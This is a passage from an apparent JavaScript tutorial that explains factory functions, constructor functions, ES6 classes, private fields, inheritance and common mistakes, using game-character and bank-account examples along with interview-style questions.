50);\nconst boss = createEnemy(\"Dark Lord\", 1000, 100);\n\nconsole.log(goblin.attack(dragon));  // \"Goblin attacks Dragon for 10 damage!\"\nconsole.log(dragon.takeDamage(100)); // \"Dragon has 400 health remaining.\"\n```\n\n### Factory with Configuration Object\n\nFor many options, use a configuration object:\n\n```javascript\nfunction createCharacter(config) {\n  // Default values\n  const defaults = {\n    name: \"Unknown\",\n    health: 100,\n    maxHealth: 100,\n    level: 1,\n    experience: 0,\n    attackPower: 10,\n    defense: 5\n  };\n  \n  // Merge defaults with provided config\n  const settings = { ...defaults, ...config };\n  \n  return {\n    ...settings,\n    \n    attack(target) {\n      const damage = Math.max(0, this.attackPower - target.defense);\n      return `${this.name} deals ${damage} damage to ${target.name}!`;\n    },\n    \n    heal(amount) {\n      this.health = Math.min(this.maxHealth, this.health + amount);\n      return `${this.name} healed to ${this.health} health.`;\n    },\n    \n    gainExperience(amount) {\n      this.experience += amount;\n      if (this.experience >= this.level * 100) {\n        this.level++;\n        this.experience = 0;\n        this.attackPower += 5;\n        return `${this.name} leveled up to ${this.level}!`;\n      }\n      return `${this.name} gained ${amount} XP.`;\n    }\n  };\n}\n\n// Create characters with different configurations\nconst warrior = createCharacter({\n  name: \"Warrior\",\n  health: 150,\n  maxHealth: 150,\n  attackPower: 20,\n  defense: 10\n});\n\nconst mage = createCharacter({\n  name: \"Mage\",\n  health: 80,\n  maxHealth: 80,\n  attackPower: 30,\n  defense: 3\n});\n\n// Only override what you need\nconst villager = createCharacter({ name: \"Villager\" });\n```\n\n### Factory with Private Variables (Closures)\n\nA powerful feature of factory functions is creating **truly private** variables using [closures](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Closures):\n\n```javascript\nfunction createBankAccount(ownerName, initialBalance = 0) {\n  // Private variables — NOT accessible from outside\n  let balance = initialBalance;\n  const transactionHistory = [];\n  \n  // Private function\n  function recordTransaction(type, amount) {\n    transactionHistory.push({\n      type,\n      amount,\n      balance,\n      date: new Date().toISOString()\n    });\n  }\n  \n  // Initialize\n  recordTransaction(\"opening\", initialBalance);\n  \n  // Return public interface\n  return {\n    owner: ownerName,\n    \n    deposit(amount) {\n      if (amount <= 0) {\n        throw new Error(\"Deposit amount must be positive\");\n      }\n      balance += amount;\n      recordTransaction(\"deposit\", amount);\n      return `Deposited $${amount}. New balance: $${balance}`;\n    },\n    \n    withdraw(amount) {\n      if (amount <= 0) {\n        throw new Error(\"Withdrawal amount must be positive\");\n      }\n      if (amount > balance) {\n        throw new Error(\"Insufficient funds\");\n      }\n      balance -= amount;\n      recordTransaction(\"withdrawal\", amount);\n      return `Withdrew $${amount}. New balance: $${balance}`;\n    },\n    \n    getBalance() {\n      return balance;\n    },\n    \n    getStatement() {\n      return transactionHistory.map(t => \n        `${t.date}: ${t.type} $${t.amount} (Balance: $${t.balance})`\n      ).join('\\n');\n    }\n  };\n}\n\nconst account = createBankAccount(\"Alice\", 1000);\n\nconsole.log(account.deposit(500));   // \"Deposited $500. New balance: $1500\"\nconsole.log(account.withdraw(200));  // \"Withdrew $200. New balance: $1300\"\nconsole.log(account.getBalance());   // 1300\n\n// Trying to access private variables — FAILS!\nconsole.log(account.balance);              // undefined\nconsole.log(account.transactionHistory);   // undefined\n\n// Can't cheat!\naccount.balance = 1000000;                 // Does nothing useful\nconsole.log(account.getBalance());         // Still 1300\n```\n\n<Tip>\n**Why is this private?** The variables `balance` and `transactionHistory` exist only inside the factory function. The returned object's methods can access them through **closure**, but nothing outside can. This is true encapsulation!\n</Tip>\n\n### Factory Creating Different Types\n\nFactories can return different object types based on input:\n\n```javascript\nfunction createWeapon(type) {\n  const weapons = {\n    sword: {\n      name: \"Iron Sword\",\n      damage: 25,\n      speed: \"medium\",\n      attack() {\n        return `Slash with ${this.name} for ${this.damage} damage!`;\n      }\n    },\n    bow: {\n      name: \"Longbow\",\n      damage: 20,\n      speed: \"fast\",\n      range: 100,\n      attack() {\n        return `Fire an arrow for ${this.damage} damage from ${this.range}m away!`;\n      }\n    },\n    staff: {\n      name: \"Magic Staff\",\n      damage: 35,\n      speed: \"slow\",\n      manaCost: 10,\n      attack() {\n        return `Cast a spell for ${this.damage} damage! (Costs ${this.manaCost} mana)`;\n      }\n    }\n  };\n  \n  if (!weapons[type]) {\n    throw new Error(`Unknown weapon type: ${type}`);\n  }\n  \n  return { ...weapons[type] };  // Return a copy\n}\n\nconst sword = createWeapon(\"sword\");\nconst bow = createWeapon(\"bow\");\nconst staff = createWeapon(\"staff\");\n\nconsole.log(sword.attack());  // \"Slash with Iron Sword for 25 damage!\"\nconsole.log(bow.attack());    // \"Fire an arrow for 20 damage from 100m away!\"\nconsole.log(staff.attack());  // \"Cast a spell for 35 damage! (Costs 10 mana)\"\n```\n\n### When to Use Factory Functions\n\n<AccordionGroup>\n  <Accordion title=\"You need truly private data\">\n    Factory functions with closures provide **real** privacy. Variables inside the factory can't be accessed or modified from outside, not even through hacks or reflection.\n  </Accordion>\n  \n  <Accordion title=\"You don't need instanceof checks\">\n    Factory-created objects are plain objects. They don't have a special prototype chain, so `instanceof` won't work. If you need to check object types, use classes instead.\n  </Accordion>\n  \n  <Accordion title=\"You want flexibility over structure\">\n    Factories can return different types of objects, partially constructed objects, or even primitives. Classes always return instances of that class.\n  </Accordion>\n  \n  <Accordion title=\"You prefer functional programming\">\n    Factory functions fit well with functional programming patterns. They're just functions that return data.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## How Do Constructor Functions Work?\n\nA **constructor function** is a regular JavaScript function designed to be called with the [`new`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new) keyword. When invoked with `new`, it creates a new object, binds `this` to that object, and returns it automatically. Constructor names conventionally start with a capital letter to distinguish them from regular functions. This was the standard way to create objects before ES6 classes.\n\n### Basic Constructor Function\n\n```javascript\n// Convention: Constructor names start with a capital letter\nfunction Player(name) {\n  // 'this' refers to the new object being created\n  this.name = name;\n  this.health = 100;\n  this.level = 1;\n  \n  this.attack = function() {\n    return `${this.name} attacks for ${10 + this.level * 2} damage!`;\n  };\n}\n\n// Create instances with 'new'\nconst alice = new Player(\"Alice\");\nconst bob = new Player(\"Bob\");\n\nconsole.log(alice.name);      // \"Alice\"\nconsole.log(bob.attack());    // \"Bob attacks for 12 damage!\"\nconsole.log(alice instanceof Player);  // true\n```\n\n### The `new` Keyword — What It Actually Does\n\nWhen you call `new Player(\"Alice\")`, JavaScript performs **4 steps**:\n\n<Steps>\n  <Step title=\"Create a new empty object\">\n    JavaScript creates a fresh object: `const obj = {}`\n  </Step>\n  <Step title=\"Link the prototype\">\n    Sets `obj.[[Prototype]]` to `Constructor.prototype`, establishing the prototype chain\n  </Step>\n  <Step title=\"Execute the constructor\">\n    Runs the constructor with `this` bound to the new object\n  </Step>\n  <Step title=\"Return the object\">\n    Returns `obj` automatically (unless the constructor explicitly returns a different non-null object; primitive return values are ignored)\n  </Step>\n</Steps>\n\n<Tip>\n**Want to dive deeper?** For a detailed explanation of how `new` works under the hood, including how to simulate it yourself, see [Object Creation & Prototypes](/concepts/object-creation-prototypes).\n</Tip>\n\n### Adding Methods to the [Prototype](https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects/Object_prototypes)\n\nThere's a problem with our constructor: **each instance gets its own copy of methods**:\n\n```javascript\nfunction Player(name) {\n  this.name = name;\n  this.health = 100;\n  \n  // BAD: Every player gets their own copy of this function\n  this.attack = function() {\n    return `${this.name} attacks!`;\n  };\n}\n\nconst p1 = new Player(\"Alice\");\nconst p2 = new Player(\"Bob\");\n\n// These are different functions!\nconsole.log(p1.attack === p2.attack);  // false\n\n// 1000 players = 1000 copies of attack function = wasted memory!\n```\n\nThe solution is to put methods on the **[prototype](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Inheritance_and_the_prototype_chain)**:\n\n```javascript\nfunction Player(name) {\n  this.name = name;\n  this.health = 100;\n  // Don't put methods here!\n}\n\n// Add methods to the prototype — shared by all instances\nPlayer.prototype.attack = function() {\n  return `${this.name} attacks!`;\n};\n\nPlayer.prototype.takeDamage = function(amount) {\n  this.health -= amount;\n  return `${this.name} has ${this.health} health.`;\n};\n\nconst p1 = new Player(\"Alice\");\nconst p2 = new Player(\"Bob\");\n\n// Now they share the same function!\nconsole.log(p1.attack === p2.attack);  // true\n\n// 1000 players = 1 copy of attack function = efficient!\n```\n\n```\n┌─────────────────────────────────────────────────────────────────────┐\n│ PROTOTYPE CHAIN                                                      │\n│                                                                      │\n│   Player.prototype                                                   │\n│   ┌─────────────────────────┐                                       │\n│   │ attack: function()      │                                       │\n│   │ takeDamage: function()  │◄──── Shared by all instances          │\n│   └─────────────────────────┘                                       │\n│              ▲                                                       │\n│              │ [[Prototype]]                                         │\n│              │                                                       │\n│   ┌──────────┴──────────┐                                           │\n│   │                     │                                           │\n│   ▼                     ▼                                           │\n│ ┌─────────┐         ┌─────────┐                                     │\n│ │ p1      │         │ p2      │                                     │\n│ │─────────│         │─────────│                                     │\n│ │name:    │         │name:    │                                     │\n│ │\"Alice\"  │         │\"Bob\"    │                                     │\n│ │health:  │         │health:  │                                     │\n│ │100      │         │100      │                                     │\n│ └─────────┘         └─────────┘                                     │\n│                                                                      │\n│ Each instance has its own data, but shares methods via prototype    │\n└─────────────────────────────────────────────────────────────────────┘\n```\n\n### The [`instanceof`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/instanceof) Operator\n\n`instanceof` checks if an object was created by a constructor:\n\n```javascript\nfunction Player(name) {\n  this.name = name;\n}\n\nfunction Enemy(name) {\n  this.name = name;\n}\n\nconst alice = new Player(\"Alice\");\nconst goblin = new Enemy(\"Goblin\");\n\nconsole.log(alice instanceof Player);  // true\nconsole.log(alice instanceof Enemy);   // false\nconsole.log(goblin instanceof Enemy);  // true\nconsole.log(goblin instanceof Player); // false\n\n// Both are instances of Object\nconsole.log(alice instanceof Object);  // true\nconsole.log(goblin instanceof Object); // true\n```\n\n### The Problem: Forgetting `new`\n\n```javascript\nfunction Player(name) {\n  this.name = name;\n  this.health = 100;\n}\n\n// Oops! Forgot 'new'\nconst alice = Player(\"Alice\");\n\nconsole.log(alice);        // undefined (function returned nothing)\nconsole.log(name);         // \"Alice\" — LEAKED to global scope!\nconsole.log(health);       // 100 — ALSO leaked!\n\n// In strict mode, this would throw an error instead\n// 'use strict';\n// Player(\"Alice\");  // TypeError: Cannot set property 'name' of undefined\n```\n\n<Warning>\nAlways use `new` with constructor functions! Without it, `this` refers to the global object (or `undefined` in strict mode), causing bugs that are hard to track down.\n</Warning>\n\n---\n\n## What Are ES6 Classes in JavaScript?\n\nAn **[ES6 class](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes)** is JavaScript's modern syntax for creating constructor functions and prototypes. Introduced in ECMAScript 2015, classes provide a cleaner, more familiar syntax for object-oriented programming while working exactly the same as constructor functions under the hood. They're often called \"syntactic sugar.\" Classes use the `class` keyword and require the `new` operator to create instances.\n\n### Basic Class Syntax\n\n```javascript\nclass Player {\n  constructor(name) {\n    this.name = name;\n    this.health = 100;\n    this.level = 1;\n  }\n  \n  attack() {\n    return `${this.name} attacks for ${10 + this.level * 2} damage!`;\n  }\n  \n  takeDamage(amount) {\n    this.health -= amount;\n    if (this.health <= 0) {\n      return `${this.name} has been defeated!`;\n    }\n    return `${this.name} has ${this.health} health remaining.`;\n  }\n}\n\nconst alice = new Player(\"Alice\");\nconsole.log(alice.attack());       // \"Alice attacks for 12 damage!\"\nconsole.log(alice instanceof Player);  // true\n```\n\n### Classes Are \"Syntactic Sugar\"\n\nClasses don't add new functionality. They're just a nicer way to write constructor functions. Under the hood, they work exactly the same:\n\n<Tabs>\n  <Tab title=\"ES6 Class\">\n    ```javascript\n    class Enemy {\n      constructor(name, health) {\n        this.name = name;\n        this.health = health;\n      }\n      \n      attack() {\n        return `${this.name} attacks!`;\n      }\n      \n      static createBoss(name) {\n        return new Enemy(name, 1000);\n      }\n    }\n    ```\n  </Tab>\n  \n  <Tab title=\"Equivalent ES5\">\n    ```javascript\n    function Enemy(name, health) {\n      this.name = name;\n      this.health = health;\n    }\n    \n    Enemy.prototype.attack = function() {\n      return `${this.name} attacks!`;\n    };\n    \n    Enemy.createBoss = function(name) {\n      return new Enemy(name, 1000);\n    };\n    ```\n  </Tab>\n</Tabs>\n\nBoth create objects with the same structure:\n\n```javascript\n// Both versions produce:\nconst goblin = new Enemy(\"Goblin\", 100);\n\nconsole.log(typeof Enemy);                    // \"function\" (classes ARE functions!)\nconsole.log(goblin.constructor === Enemy);    // true\nconsole.log(goblin.__proto__ === Enemy.prototype);  // true\n```\n\n### Class Syntax Breakdown\n\n```javascript\nclass Character {\n  // Class field (public property with default value)\n  level = 1;\n  experience = 0;\n  \n  // Constructor — called when you use 'new'\n  constructor(name, health = 100) {\n    this.name = name;\n    this.health = health;\n  }\n  \n  // Instance method — available on all instances\n  attack() {\n    return `${this.name} attacks!`;\n  }\n  \n  // Another instance method\n  heal(amount) {\n    this.health += amount;\n    return `${this.name} healed to ${this.health} HP.`;\n  }\n  \n  // Getter — accessed like a property\n  get isAlive() {\n    return this.health > 0;\n  }\n  \n  // Setter — assigned like a property\n  set healthPoints(value) {\n    this.health = Math.max(0, value);  // Can't go below 0\n  }\n  \n  // Static method — called on the class, not instances\n  static createHero(name) {\n    return new Character(name, 150);\n  }\n  \n  // Static property\n  static MAX_LEVEL = 99;\n}\n\n// Usage\nconst hero = Character.createHero(\"Alice\");  // Static method\nconsole.log(hero.attack());                  // Instance method\nconsole.log(hero.isAlive);                   // Getter (no parentheses!)\nhero.healthPoints = -50;                     // Setter\nconsole.log(hero.health);                    // 0 (setter prevented negative)\nconsole.log(Character.MAX_LEVEL);            // 99 (static property)\n```\n\n### [Static](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes/static) Methods and Properties\n\n**Static** members belong to the class itself, not to instances:\n\n```javascript\nclass MathUtils {\n  // Static properties\n  static PI = 3.14159;\n  static E = 2.71828;\n  \n  // Static methods\n  static square(x) {\n    return x * x;\n  }\n  \n  static cube(x) {\n    return x * x * x;\n  }\n  \n  static randomBetween(min, max) {\n    return Math.floor(Math.random() * (max - min + 1)) + min;\n  }\n}\n\n// Access via class name\nconsole.log(MathUtils.PI);           // 3.14159\nconsole.log(MathUtils.square(5));    // 25\n\n// NOT via instances!\nconst utils = new MathUtils();\nconsole.log(utils.PI);               // undefined\nconsole.log(utils.square);           // undefined\n```\n\n**Common uses for static methods:**\n- Factory methods (`User.fromJSON(data)`)\n- Utility functions (`Array.isArray(value)`)\n- Singleton patterns (`Config.getInstance()`)\n\n### [Getters](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/get) and [Setters](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/set)\n\nGetters and setters let you define computed properties and add validation:\n\n```javascript\nclass Temperature {\n  constructor(celsius) {\n    this._celsius = celsius;  // Convention: underscore = \"private\"\n  }\n  \n  // Getter: accessed like a property\n  get celsius() {\n    return this._celsius;\n  }\n  \n  // Setter: assigned like a property\n  set celsius(value) {\n    if (value < -273.15) {\n      throw new Error(\"Temperature below absolute zero!\");\n    }\n    this._celsius = value;\n  }\n  \n  // Computed getter: fahrenheit from celsius\n  get fahrenheit() {\n    return this._celsius * 9/5 + 32;\n  }\n  \n  // Computed setter: set celsius from fahrenheit\n  set fahrenheit(value) {\n    this.celsius = (value - 32) * 5/9;  // Uses celsius setter for validation\n  }\n  \n  // Read-only getter (no setter)\n  get kelvin() {\n    return this._celsius + 273.15;\n  }\n}\n\nconst temp = new Temperature(25);\n\nconsole.log(temp.celsius);     // 25\nconsole.log(temp.fahrenheit);  // 77\nconsole.log(temp.kelvin);      // 298.15\n\ntemp.fahrenheit = 100;         // Set via fahrenheit\nconsole.log(temp.celsius);     // ~37.78 (converted)\n\n// temp.celsius = -300;        // Error: Temperature below absolute zero!\n// temp.kelvin = 0;            // Error: no setter (read-only)\n```\n\n### [Private Fields (#)](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes/Private_class_fields) — True Privacy\n\nES2020 introduced **private fields** with the `#` prefix. Unlike the `_underscore` convention, these are **truly private**:\n\n```javascript\nclass BankAccount {\n  // Private fields — declared with #\n  #balance = 0;\n  #pin;\n  #transactionHistory = [];\n  \n  constructor(ownerName, initialBalance, pin) {\n    this.ownerName = ownerName;  // Public\n    this.#balance = initialBalance;\n    this.#pin = pin;\n  }\n  \n  // Private method\n  #recordTransaction(type, amount) {\n    this.#transactionHistory.push({\n      type,\n      amount,\n      balance: this.#balance,\n      date: new Date()\n    });\n  }\n  \n  // Private method for PIN verification\n  #verifyPin(pin) {\n    return this.#pin === pin;\n  }\n  \n  // Public methods\n  deposit(amount) {\n    if (amount <= 0) throw new Error(\"Invalid amount\");\n    this.#balance += amount;\n    this.#recordTransaction(\"deposit\", amount);\n    return this.#balance;\n  }\n  \n  withdraw(amount, pin) {\n    if (!this.#verifyPin(pin)) {\n      throw new Error(\"Invalid PIN\");\n    }\n    if (amount > this.#balance) {\n      throw new Error(\"Insufficient funds\");\n    }\n    this.#balance -= amount;\n    this.#recordTransaction(\"withdrawal\", amount);\n    return this.#balance;\n  }\n  \n  getBalance(pin) {\n    if (!this.#verifyPin(pin)) {\n      throw new Error(\"Invalid PIN\");\n    }\n    return this.#balance;\n  }\n}\n\nconst account = new BankAccount(\"Alice\", 1000, \"1234\");\n\naccount.deposit(500);\nconsole.log(account.withdraw(200, \"1234\"));  // 1300\nconsole.log(account.getBalance(\"1234\"));     // 1300\n\n// Trying to access private fields — ALL FAIL\n// account.#balance;           // SyntaxError!\n// account.#pin;               // SyntaxError!\n// account.#verifyPin(\"1234\"); // SyntaxError!\n\nconsole.log(account.balance);  // undefined (different property)\n```\n\n### Private Fields (#) vs Closure-Based Privacy\n\nBoth provide true privacy, but they work differently:\n\n| Feature | Private Fields (#) | Closures (Factory) |\n|---------|-------------------|-------------------|\n| Syntax | `this.#field` | `let variable` inside function |\n| Access error | SyntaxError | Returns `undefined` |\n| Memory | Efficient (prototype methods) | Each instance has own methods |\n| `instanceof` | Works | Doesn't work |\n| Inheritance | Private per class | Not inherited |\n| Debugger visibility | Visible but inaccessible | Visible in closure scope |\n\n```javascript\n// Private Fields (#)\nclass Wallet {\n  #balance = 0;\n  \n  deposit(amount) { this.#balance += amount; }\n  getBalance() { return this.#balance; }\n}\n\nconst w1 = new Wallet();\nconst w2 = new Wallet();\nconsole.log(w1.deposit === w2.deposit);  // true (shared via prototype)\n\n// Closure-based (Factory)\nfunction createWallet() {\n  let balance = 0;\n  \n  return {\n    deposit(amount) { balance += amount; },\n    getBalance() { return balance; }\n  };\n}\n\nconst w3 = createWallet();\nconst w4 = createWallet();\nconsole.log(w3.deposit === w4.deposit);  // false (each has own copy)\n```\n\n---\n\n## Common Mistakes with Factories and Classes\n\nWhen working with factories and classes, there are several common pitfalls that trip up developers. Let's look at the most frequent mistakes and how to avoid them.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                    THE 3 MOST COMMON MISTAKES                            │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│  1. FORGETTING `new` WITH CONSTRUCTORS                                   │\n│     Pollutes global scope or crashes in strict mode                      │\n│                                                                          │\n│  2. FORGETTING `super()` IN DERIVED CLASSES                              │\n│     Must call super() before using `this`                                │\n│                                                                          │\n│  3. CONFUSING `_private` WITH TRULY PRIVATE                              │\n│     Underscore is just a convention, not enforcement                     │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n### Mistake 1: Forgetting `new` with Constructor Functions\n\n```javascript\n// ❌ WRONG - Forgot 'new', 'this' becomes global object\nfunction Player(name) {\n  this.name = name;\n  this.health = 100;\n}\n\nconst alice = Player(\"Alice\");  // Missing 'new'!\n\nconsole.log(alice);              // undefined\nconsole.log(globalThis.name);    // \"Alice\" - leaked to global!\nconsole.log(globalThis.health);  // 100 - also leaked!\n\n// ✓ CORRECT - Always use 'new' with constructors\nconst bob = new Player(\"Bob\");\nconsole.log(bob.name);           // \"Bob\"\nconsole.log(bob.health);         // 100\n```\n\n<Tip>\n**Pro tip:** Use ES6 classes instead of constructor functions — they throw an error if you forget `new`:\n\n```javascript\nclass Player {\n  constructor(name) { this.name = name; }\n}\n\nconst alice = Player(\"Alice\");  // TypeError: Class constructor Player cannot be invoked without 'new'\n```\n</Tip>\n\n### Mistake 2: Forgetting `super()` in Derived Classes\n\n```javascript\n// ❌ WRONG - Using 'this' before calling super()\nclass Animal {\n  constructor(name) {\n    this.name = name;\n  }\n}\n\nclass Dog extends Animal {\n  constructor(name, breed) {\n    this.breed = breed;   // ReferenceError: Must call super before accessing 'this'\n    super(name);\n  }\n}\n\n// ✓ CORRECT - Call super() first, then use 'this'\nclass Cat extends Animal {\n  constructor(name, color) {\n    super(name);          // Initialize parent first\n    this.color = color;   // Now 'this' is available\n  }\n}\n\nconst kitty = new Cat(\"Whiskers\", \"orange\");\nconsole.log(kitty.name);   // \"Whiskers\"\nconsole.log(kitty.color);  // \"orange\"\n```\n\n### Mistake 3: Thinking `_underscore` Means Private\n\n```javascript\n// ❌ WRONG - Underscore is just a naming convention\nclass BankAccount {\n  constructor(balance) {\n    this._balance = balance;  // Not actually private!\n  }\n  \n  getBalance() {\n    return this._balance;\n  }\n}\n\nconst account = new BankAccount(1000);\nconsole.log(account._balance);    // 1000 - fully accessible!\naccount._balance = 999999;        // Can be modified!\nconsole.log(account.getBalance()); // 999999 - no protection!\n\n// ✓ CORRECT - Use private fields (#) for true privacy\nclass SecureBankAccount {\n  #balance;  // Truly private\n  \n  constructor(balance) {\n    this.#balance = balance;\n  }\n  \n  getBalance() {\n    return this.#balance;\n  }\n}\n\nconst secure = new SecureBankAccount(1000);\n// console.log(secure.#balance);  // SyntaxError!\nconsole.log(secure.getBalance()); // 1000 - only accessible via methods\n```\n\n### Mistake 4: Using `this` Incorrectly in Factory Functions\n\n```javascript\n// ❌ WRONG - 'this' in factory return object can cause issues\nfunction createCounter() {\n  return {\n    count: 0,\n    increment() {\n      this.count++;  // 'this' depends on how the method is called\n    }\n  };\n}\n\nconst counter = createCounter();\ncounter.increment();  // Works\nconsole.log(counter.count);  // 1\n\nconst increment = counter.increment;\nincrement();  // 'this' is undefined or global!\nconsole.log(counter.count);  // Still 1 - didn't work!\n\n// ✓ CORRECT - Use closure to avoid 'this' issues\nfunction createSafeCounter() {\n  let count = 0;  // Closure variable\n  \n  return {\n    increment() {\n      count++;    // No 'this' needed\n    },\n    getCount() {\n      return count;\n    }\n  };\n}\n\nconst safeCounter = createSafeCounter();\nconst safeIncrement = safeCounter.increment;\nsafeIncrement();  // Works even when extracted!\nconsole.log(safeCounter.getCount());  // 1\n```\n\n<Warning>\n**The `this` Trap:** When you extract a method from an object and call it standalone, `this` is no longer bound to the original object. Factory functions that use closures instead of `this` avoid this problem entirely.\n</Warning>\n\n<Tip>\n**Arrow Function Class Fields:** In classes, you can use arrow functions as class fields to auto-bind `this`:\n\n```javascript\nclass Button {\n  count = 0;\n  \n  // Arrow function automatically binds 'this' to the instance\n  handleClick = () => {\n    this.count++;\n    console.log(`Clicked ${this.count} times`);\n  };\n}\n\nconst button = new Button();\nconst handler = button.handleClick;\nhandler();  // Works! 'this' is still bound to button\n```\n\nThis is an alternative to manually binding methods with `.bind(this)` in the constructor.\n</Tip>\n\n---\n\n## Classic Interview Questions\n\n<AccordionGroup>\n  <Accordion title=\"What's the difference between a factory function and a class?\">\n    **Answer:**\n    \n    | Aspect | Factory Function | ES6 Class |\n    |--------|-----------------|-----------|\n    | Syntax | Regular function returning object | `class` keyword |\n    | `new` keyword | Not required | Required |\n    | `instanceof` | Doesn't work | Works |\n    | Privacy | Closures (truly private) | Private fields `#` (truly private) |\n    | Memory | Each instance has own methods | Methods shared via prototype |\n    | `this` binding | Can avoid `this` entirely | Must use `this` |\n    \n    ```javascript\n    // Factory - just a function\n    function createUser(name) {\n      return { name, greet() { return `Hi, ${name}!` } }\n    }\n    \n    // Class - a blueprint\n    class User {\n      constructor(name) { this.name = name }\n      greet() { return `Hi, ${this.name}!` }\n    }\n    \n    const u1 = createUser(\"Alice\")  // No 'new'\n    const u2 = new User(\"Bob\")      // Requires 'new'\n    ```\n    \n    **Best answer:** Explain both syntax differences AND when to use each.\n  </Accordion>\n  \n  <Accordion title=\"What does the new keyword do under the hood?\">\n    **Answer:**\n    \n    `new` performs 4 steps:\n    \n    1. **Creates** a new empty object `{}`\n    2. **Links** its prototype to `Constructor.prototype`\n    3. **Executes** the constructor with `this` bound to the new object\n    4. **Returns** the object (unless constructor returns a different object)\n    \n    ```javascript\n    // This is essentially what 'new' does:\n    function myNew(Constructor, ...args) {\n      const obj = Object.create(Constructor.prototype)\n      const result = Constructor.apply(obj, args)\n      return (typeof result === 'object' && result !== null) ? result : obj\n    }\n    ```\n    \n    **Best answer:** Mention all 4 steps and show the simulation code.\n  </Accordion>\n  \n  <Accordion title=\"How do you achieve true privacy in JavaScript?\">\n    **Answer:**\n    \n    Two ways to achieve **true** privacy:\n    \n    **1. Private Fields (`#`) in Classes:**\n    ```javascript\n    class BankAccount {\n      #balance = 0\n      deposit(amt) { this.#balance += amt }\n      getBalance() { return this.#balance }\n    }\n    // account.#balance → SyntaxError!\n    ```\n    \n    **2. Closures in Factory Functions:**\n    ```javascript\n    function createBankAccount() {\n      let balance = 0\n      return {\n        deposit(amt) { balance += amt },\n        getBalance() { return balance }\n      }\n    }\n    // account.balance → undefined\n    ```\n    \n    **Not truly private:** The `_underscore` convention is just a naming hint. Those properties are fully accessible.\n    \n    **Best answer:** Distinguish between the `_underscore` convention (not private) and the two truly private approaches.\n  </Accordion>\n  \n  <Accordion title=\"When would you use composition over inheritance?\">\n    **Answer:**\n    \n    Use **composition** when:\n    - You need to mix behaviors from multiple sources (a flying fish, a swimming bird)\n    - The \"is-a\" relationship doesn't make sense\n    - You want loose coupling between components\n    - You need flexibility to change behaviors at runtime\n    \n    Use **inheritance** when:\n    - There's a clear \"is-a\" hierarchy (Dog is an Animal)\n    - You need `instanceof` checks\n    - You want to share implementation, not just interface\n    \n    ```javascript\n    // Inheritance problem: What about a penguin that can't fly?\n    class Bird { fly() {} }\n    class Penguin extends Bird { fly() { throw Error(\"Can't fly!\") } }  // Awkward!\n    \n    // Composition solution: Mix behaviors\n    const canSwim = (state) => ({ swim() { /*...*/ } })\n    const canWalk = (state) => ({ walk() { /*...*/ } })\n    \n    function createPenguin(name) {\n      const state = { name }\n      return { ...canSwim(state), ...canWalk(state) }  // No fly!\n    }\n    ```\n    \n    **Best answer:** Give the \"Gorilla-Banana\" problem example and show composition code.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Common Misconceptions\n\n<AccordionGroup>\n  <Accordion title=\"Misconception: 'Classes in JavaScript work like classes in Java or C#'\">\n    **Reality:** JavaScript classes are **syntactic sugar** over prototypes. Under the hood, they still use prototype-based inheritance, not classical inheritance.\n    \n    ```javascript\n    class Player {\n      constructor(name) { this.name = name }\n      attack() { return `${this.name} attacks!` }\n    }\n    \n    // Classes ARE functions!\n    console.log(typeof Player)  // \"function\"\n    \n    // Methods are on the prototype, not the instance\n    console.log(Player.prototype.attack)  // [Function: attack]\n    ```\n    \n    This is why JavaScript has quirks like `this` binding issues that don't exist in true class-based languages.\n  </Accordion>\n  \n  <Accordion title=\"Misconception: 'Factory functions are less powerful than classes'\">\n    **Reality:** Factory functions can do everything classes can, plus more:\n    \n    - **True privacy** via closures (before `#` existed)\n    - **No `this` binding issues** when using closures\n    - **Return different types** based on input\n    - **No `new` keyword** to forget\n    \n    ```javascript\n    // Factory can return different types!\n    function createShape(type) {\n      if (type === 'circle') return { radius: 10, area() { /*...*/ } }\n      if (type === 'square') return { side: 10, area() { /*...*/ } }\n    }\n    \n    // Classes always return instances of that class\n    ```\n    \n    The trade-off is memory efficiency (classes share methods via prototype).\n  </Accordion>\n  \n  <Accordion title=\"Misconception: 'Private fields (#) and _underscore are the same thing'\">\n    **Reality:** They're completely different:\n    \n    | Aspect | `_underscore` | `#privateField` |\n    |--------|---------------|-----------------|\n    | Accessibility | Fully public | Truly private |\n    | Convention only? | Yes | No, enforced |\n    | Error on access | No error | SyntaxError |\n    \n    ```javascript\n    class Account {\n      _balance = 100   // Accessible! Just a convention\n      #pin = 1234      // Truly private\n    }\n    \n    const acc = new Account()\n    console.log(acc._balance)  // 100 — works!\n    // console.log(acc.#pin)   // SyntaxError!\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Misconception: 'You should always use classes because they're the modern way'\">\n    **Reality:** Classes were added in ES6 (2015), but that doesn't mean they're always better. The JavaScript community has moved **toward** functions in many cases:\n    \n    - **React:** Moved from class components to function components with hooks\n    - **Functional programming:** Favors factory functions and composition\n    - **Simplicity:** Factory functions have fewer footguns (`this`, `new`)\n    \n    **Use classes when:** You need `instanceof`, clear hierarchies, or OOP familiarity.\n    \n    **Use factories when:** You need composition, true privacy, or functional style.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## How Does Inheritance Work in JavaScript?\n\n### Class Inheritance with [`extends`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes/extends)\n\nUse `extends` to create a class that inherits from another:\n\n```javascript\n// Base class (parent)\nclass Character {\n  constructor(name, health) {\n    this.name = name;\n    this.health = health;\n  }\n  \n  attack() {\n    return `${this.name} attacks!`;\n  }\n  \n  takeDamage(amount) {\n    this.health -= amount;\n    return `${this.name} has ${this.health} HP left.`;\n  }\n  \n  isAlive() {\n    return this.health > 0;\n  }\n}\n\n// Derived class (child)\nclass Warrior extends Character {\n  constructor(name) {\n    super(name, 150);  // Call parent 